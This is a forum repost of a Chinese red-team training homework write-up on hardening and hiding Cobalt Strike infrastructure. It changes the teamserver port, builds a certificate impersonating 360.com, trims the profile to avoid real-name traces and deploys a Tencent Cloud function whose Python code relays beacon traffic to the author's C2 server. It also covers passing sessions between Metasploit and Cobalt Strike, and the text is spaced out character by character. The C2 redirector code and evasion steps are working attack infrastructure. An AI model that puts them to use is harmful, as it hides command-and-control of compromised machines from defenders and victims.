设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [27301] 2021-07-29_红队培训班作业CS和MSF的进阶实战使 ...
返回列表 发新帖
查看: 1|回复: 0

[27301] 2021-07-29_红队培训班作业CS和MSF的进阶实战使用

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 4 天前 | 显示全部楼层 |阅读模式
2021-07-29_红队培训班作业CS和MSF的进阶实战使用 红 队 培 训 班 作 业   |   C S 和 M S F 的 进 阶 实 战 使 用 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 7 - 2 9 收 录 于 话 题 # 红 队 攻 击   , 7 # 红 队 培 训 班 作 业   , 4 # 渗 透 小 技 巧   , 8 # 神 兵 利 器   , 5 # 内 网 安 全   , 8 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   红 队 培 训 班 第 红 队 培 训 班 第 1 1 节 课 作 业 节 课 作 业 本 文 作 者 ： 汤 浩 荡 汤 浩 荡 （ 红 队 培 训 班 学 员 ） 按 老 师 要 求 按 老 师 要 求 完 成 完 成 布 置 的 作 业 如 下 ： 布 置 的 作 业 如 下 ： 环 境 准 备 ： 环 境 准 备 ：           K a l i   l i n u x ： c s 客 户 端 即 m s f 。           阿 里 云 V P S ： 充 当 c s 服 务 端 。 C S ： ：       修 改 默 认 端 口 修 改 默 认 端 口 进 入 c o b a l t s t r i k e 目 录 下 ， 使 用 任 意 文 本 编 辑 器 打 开 t e a m s e r v e r 翻 到 最 后 一 行 该 默 认 的 5 0 0 5 0 修 改 为 任 意 未 被 占 用 端 口 即 可 。 修 改 证 书 修 改 证 书           生 成 新 的 证 书 若 证 书 使 用 密 码 不 为 默 认 的 1 2 3 4 5 6 ， 应 修 改 t e a m s e r v e r 中 的 密 码 ： p s : 如 果 要 修 改 密 码 只 能 先 删 除 原 有 的 c o b a l t s t r i k e . s t o r e 文 件 查 看 证 书 是 否 修 改 完 成 ： k e y t o o l - k e y s t o r e   c o b a l t s t r i k e . s t o r e   - s t o r e p a s s   T a n g h d @ 1 3 2 5   - k e y p a s s   T a n g h d @ 1 3 2 5 - g e n k e y   - k e y a l g   R S A   - a l i a s   3 6 0 . c o m   - d n a m e   " C N = U S ,   O U = 3 6 0 . c o m ,   O = S o f a w a r e , L = S o m e w h e r e , S T = C y b e r s p a c e ,   C = C N "
P r o f i l e 文 件 文 件       按 照 老 师 给 的 p r o f i l e 文 件 根 据 自 身 需 求 ， 做 出 更 改 ：         将 证 书 文 件 密 码 进 行 修 改 ， 与 自 己 的 密 码 对 应 ： 个 人 申 请 了 阿 里 云 的 证 书 ， 但 国 内 证 书 进 行 了 实 名 登 记 ， 考 虑 到 实 际 的 隐 蔽 性 ， 删 除 该 部 分 ： 其 他 不 做 修 改 ， 而 后 使 用 c 2 l i n t 命 令 检 查 p r o f i l e 文 件 是 否 可 用 （ c h m o d + x   c 2 l i n t 增 加 执 行 权 限 ） ： G e t 和 p o s t 均 返 回 2 0 0 o k ， 该 文 件 可 用 。 云 函 数 云 函 数 本 次 以 腾 讯 云 为 例 ， 进 入 云 控 制 台 ， 搜 索 框 搜 索 云 函 数 ， 跳 转 至 函 数 服 务 ， 点 击 新 建 ： 选 择 自 定 义 创 建 — — 地 点 选 择 离 自 己 最 近 的 ， 选 择 p y t h o n 3 . 6 ， 名 称 随 意 复 制 以 下 代 码 ， 注 意 修 改 为 自 己 的 公 网 I P 地 址 ： #   - * -   c o d i n g :   u t f 8   - * - i m p o r t   j s o n , r e q u e s t s , b a s e 6 4 d e f   m a i n _ h a n d l e r ( e v e n t ,   c o n t e x t ) :         C 2 = ' h t t p : / / X X . X X . X X . 5 9 '   #   这 里 可 以 使 用   H T T P 、 H T T P S ~ 下 角 标 ~         p a t h = e v e n t [ ' p a t h ' ]         h e a d e r s = e v e n t [ ' h e a d e r s ' ]         p r i n t ( e v e n t )         i f   e v e n t [ ' h t t p M e t h o d ' ]   = =   ' G E T '   :                 r e s p = r e q u e s t s . g e t ( C 2 + p a t h , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )         e l s e :                 r e s p = r e q u e s t s . p o s t ( C 2 + p a t h , d a t a = e v e n t [ ' b o d y ' ] , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )                 p r i n t ( r e s p . h e a d e r s )                 p r i n t ( r e s p . c o n t e n t )           r e s p o n s e = {
点 击 触 发 管 理 ， 创 建 触 发 器 ， 按 照 如 图 所 示 进 行 选 择 操 作 ， 触 发 版 本 为 $ L A T E S T ， 触 发 方 式 为 A P I 网 关 触 发 ， 其 他 不 做 修 改 。 跳 转 至 A P I 网 关 控 制 台 ， 点 击 服 务 ， 开 通 A P I 网 关 ， 点 击 服 务 进 行 跳 转 ， 然 后 点 击 编 辑 ， 将 路 径 修 改 为 / ， 点 击 立 即 完 成 ， 发 布 服 务                 " i s B a s e 6 4 E n c o d e d " :   T r u e ,                 " s t a t u s C o d e " :   r e s p . s t a t u s _ c o d e ,                 " h e a d e r s " :   d i c t ( r e s p . h e a d e r s ) ,                 " b o d y " :   s t r ( b a s e 6 4 . b 6 4 e n c o d e ( r e s p . c o n t e n t ) ) [ 2 : - 1 ]         }         r e t u r n   r e s p o n s e
云 函 数 配 置 完 成 ， 点 击 查 看 基 本 信 息 ， 查 看 公 网 域 名 前 往 v p s 启 动 t e a m s e r v e r 本 地 k a l i 连 接 并 设 置 监 听 如 下 ： 生 成 攻 击 载 荷 ， 上 线 靶 机 ， 并 查 看 连 接 目 的 地 址
作 业 完 成 。 作 业 完 成 。 M S F 与 与 C S 互 相 转 换 互 相 转 换 M s f 转 C S M s f 上 线 测 试 靶 机 ， 使 用 b a c k g r o u n d 隐 藏 s e s s i o n 使 用 p a y l o a d _ i n j e c t ， 设 置 好 参 数 ， l h o s t 和 l p o r t 设 置 为 c s 的 监 听 设 置 ， 运 行 ： 转 换 成 功 。 C S 转 M S F 需 要 m s f 首 先 开 启 m u l i t / h a n d e r 模 块 的 h t t p 侦 听 c s 设 置 外 部 h t t p 连 接 ， 如 下 图 ， 标 红 处 应 对 应 m s f 所 开 启 的 监 听 端 口 和 I P ， 如 下 图 ： 右 键 点 击 会 话 的 s p a w n 命 令 ， 选 择 该 监 听 执 行 派 生 操 作 ： 派 生 成 功 。 问 题 ： 问 题 ： 疑 似 阿 里 云 防 火 墙 会 将 攻 击 流 量 进 行 拦 截 ， 使 用 原 生 木 马 ， 即 直 接 生 成 未 进 行 免 杀 处 理 的 ， C S 经 常 无 法 进 行 上 线 ， 通 过 云 函 数 后 每 次 都 能 成 功 。 同 时 在 进 行 s h e l l 操 作 即 插 件 操 作 过 程 中 ， 经 常 会 r e s e t 会 话 重 置 ， 正 在 考 虑 更 换 为 华 为 云 。 号 外 号 外 红 队 安 全 培 训   第 二 期 班   8 月 1 3 号 开 班 ， 第 二 期 的 课 程 大 纲 目 录 根 据 第 一 期 班 的 同 学 的 反 馈 和 要 求 ， 做 了 重 大 调 整 ， 增 加 了 更 多 的 实 战 中 红 队 的 渗 透 思 路 和 实 战 技 巧 干 货 ， 具 体 授 课 目 录 可 联 系 小 客 服 获 取 ！
扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     来 和 来 和 5 0 0 0 + 位 同 学 一 起 加 入 星 球 学 习 吧 ！ 位 同 学 一 起 加 入 星 球 学 习 吧 ！
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 07:25 , Processed in 0.698928 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表